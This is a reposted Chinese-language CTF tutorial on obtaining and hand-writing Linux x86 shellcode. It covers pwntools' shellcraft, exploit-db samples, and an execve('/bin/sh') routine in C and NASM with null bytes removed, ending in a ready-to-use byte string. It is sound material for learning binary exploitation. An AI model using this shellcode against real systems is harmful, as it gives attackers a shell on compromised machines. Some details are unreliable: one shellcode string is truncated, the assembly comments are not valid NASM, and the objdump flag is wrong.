PWN-shellcode获取与编写

转自:https://blog.csdn.net/qq_35495684/article/details/79583232

当我们在获得程序的漏洞后,就可以在程序的漏洞处执行特定的代码,而这些代码也就是俗称的shellcode。
而shellcode该怎么获得呢?

一、获取集成写好的

1.From pwntools

(1)先设置目标机的参数
context(os=’linux’, arch=’amd64’, log_level=’debug’)
1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
3. log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。

(2)获取shellcode
1)获得执行system(“/bin/sh”)汇编代码所对应的机器码
asm(shellcraft.sh())
具体利用如下:

from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode=asm(shellcraft.sh())

2.利用别人写好的。如exploit-db

利用搜索引擎检索别人写好的可以直接来用的 shellcode。
https://coding.net/u/yihangwang/p/shellcode_spider/git ,。
这是一个 python 爬取 exploit-db 上所有 shellcode 的库。
1)sh对应的shellcode

shellcode = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\

二、自己写

或者可以用msf生成,或者自己反编译一下。

 

 

 

这里我们使用一段最简单的执行execve (“/bin/sh”)命令的语句作为shellcode。

以写一个execve(“/bin/sh”)为例子。
在当前位置执行”/bin/sh”,可以用execve(“/bin/sh”,0,0)
C语言利用代码:

#include "stdlib.h"

#include "unistd.h"

char *buf[]={"/bin/sh",NULL};

void main() {

execve("/bin/sh",buf,NULL);

exit(0);

}

execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件的参数,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。

execve()对应的中断向量表为:0x0b,对应eax
可以通过http://syscalls.kernelgrok.com/网站来查询

 

 

 

所以我们要做的就是写一个执行execve的汇编代码。

这里不得不提一下int 0x80软中断调用。
第一步,就是需要将系统调用号加入到eax中。
第二步,ebx保存函数调用的第一个参数,ecx、edx、esi、edi分别对应这2345个参数。
如果参数超过5个,就必须将参数数组存储在内存中,而且必须将该数组的地址放在ebx中。
一旦加载寄存器后,就会调用int 0x80 汇编指令来中断,强迫内核暂停手头上的工作并处理该中断。

OK,那我们知道汇编代码的最后一步
mov al,0xb
int 0x80
具体会被代码如下:
构造一个
execve(“/bin/sh”,0,NULL);

global _start
_start:
xor eax,eax  //eax置0
xor edx,edx  //edx置0
push edx
push "/sh"
push "/bin"   //将/bin/sh入栈
mov ebx,esp   //ebx指向/bin/sh这个字符串
xor ecx,ecx
mov al,0Bh    //eax置为execve函数的中断号
int 80h       //调用软中断

运用
nasm -f elf32 文件名.asm
ld -m elf_i386 -o 文件名 文件名.o
objdump -o 文件名
获得汇编的机器码,如下。

 

 

 我们可以看到上图画线处有\00,shellcode在使用时遇到\00会被截断,所以我们要避免出现/x00字节,我们知道00是出现在/bin/sh那里的,重新修改我们的汇编程序:

global _start
_start:
xor eax,eax
xor edx,edx
push edx
push "//sh"
push "/bin"
mov ebx,esp
xor ecx,ecx
mov al,0Bh
int 80h

在终端中”/bin/sh”和”/bin//sh”的效果是一样的。
执行后如下:

 

 所以shellcode就是:

shellcode="\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"

 

posted @ 2021-03-07 19:04  KnowledgePorter  阅读(809)  评论(0)    收藏  举报